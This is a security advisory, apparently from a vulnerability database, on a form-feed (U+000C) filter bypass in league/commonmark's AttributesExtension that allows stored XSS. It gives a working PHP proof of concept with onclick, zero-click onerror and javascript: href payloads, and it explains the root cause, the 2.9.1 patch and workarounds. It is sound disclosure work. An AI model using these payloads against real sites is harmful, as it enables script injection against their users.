high · 7.2Sep 1, 2026

league/commonmark AttributesExtension on* Filter Bypass via U+000C Form Feed (XSS)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A U+000C form-feed byte in an attribute name tricks league/commonmark's AttributesExtension into passing event-handler attributes like onclick and onerror through its security filter, letting…

Packageleague/commonmark
Ecosystemcomposer
Affected>= 2.7.0, < 2.9.1
Fixed in2.9.1
league/commonmark AttributesExtension on* Filter Bypass via U+000C Form Feed (XSS)

The problem

The AttributesExtension added a filter in 2.7.0 that blocks any attribute whose name starts with on. That filter compares names using str_starts_with($name, 'on') after lowercasing them.

PHP's built-in trim() strips \x0B (vertical tab) but not \x0C (form feed). PCRE's \s does consume \x0C, so the regex-based parser reads the character and keeps it inside the matched attribute name. The name stored in the attributes array becomes "\x0Conclick" instead of "onclick", so the on prefix check never fires and the attribute passes through unmodified.

The HTML5 tokenizer treats \x0C as whitespace between attributes, so browsers parse the rendered output as a real onclick or onerror handler. An onerror on an <img> fires on page load with no user interaction, making this a zero-click stored XSS.

Proof of concept

A working proof-of-concept for this issue in league/commonmark, with the exact payload below.

php
<?php
require 'vendor/autoload.php';

use League\CommonMark\Environment\Environment;
use League\CommonMark\Extension\Attributes\AttributesExtension;
use League\CommonMark\Extension\CommonMark\CommonMarkCoreExtension;
use League\CommonMark\MarkdownConverter;

$env = new Environment([
    'html_input'         => 'escape',
    'allow_unsafe_links' => false,
    'max_nesting_level'  => 100,
]);
$env->addExtension(new CommonMarkCoreExtension());
$env->addExtension(new AttributesExtension());
$converter = new MarkdownConverter($env);

$FF = "\x0C";

// Case B: on* filter bypass
echo $converter->convert('hello {' . $FF . 'onclick="alert(1)"}')->getContent();
// Output: <p \x0Conclick="alert(1)">hello</p>   <- browser executes onclick

// Case F: zero-click via onerror on img (no user interaction needed)
echo $converter->convert('![x](https://example.invalid/x.png){' . $FF . 'onerror="alert(1)"}')->getContent();
// Output: <p><img \x0Conerror="alert(1)" src="..." alt="x" /></p>

// Case E: javascript: href bypass (first href wins per HTML5 duplicate-attribute rule)
echo $converter->convert('[click](https://example.com){' . $FF . 'href="javascript:alert(1)"}')->getContent();
// Output: <p><a \x0Chref="javascript:alert(1)" href="https://example.com">click</a></p>

Three behaviours chain together. First, AttributesHelper::parseAttributes() uses a PCRE \s* pattern that consumes \x0C, then calls PHP trim() to clean the match. PHP's trim() default charlist omits \x0C, so the byte survives inside the attribute name (e.g., "\x0Conclick").

Second, filterAttributes() compares the lowercased name with str_starts_with($attrNameLower, 'on'). Because "\x0Conclick" does not start with "on", the check returns false and the attribute is kept.

Third, HtmlElement::__toString() emits attribute keys raw without any escaping. The patch in 2.9.1 (commit dfcdf4554c) adds a preg_match against RegexHelper::PARTIAL_ATTRIBUTENAME at the top of filterAttributes(), discarding any name that does not match a well-formed HTML attribute name before the on check ever runs.

This is CWE-79 and CWE-116.

The fix

Upgrade to league/commonmark 2.9.1. If an immediate upgrade is not possible, set an explicit attributes.allow list in your configuration (e.g., ['attributes' => ['allow' => ['id', 'class']]]). When a non-empty allow list is present, filterAttributes() takes a different code path that drops any name not in the list, including form-feed-prefixed names.

Disabling the AttributesExtension entirely also eliminates the attack surface.

Reporter not attributed.

References: [1][2][3][4]

Related research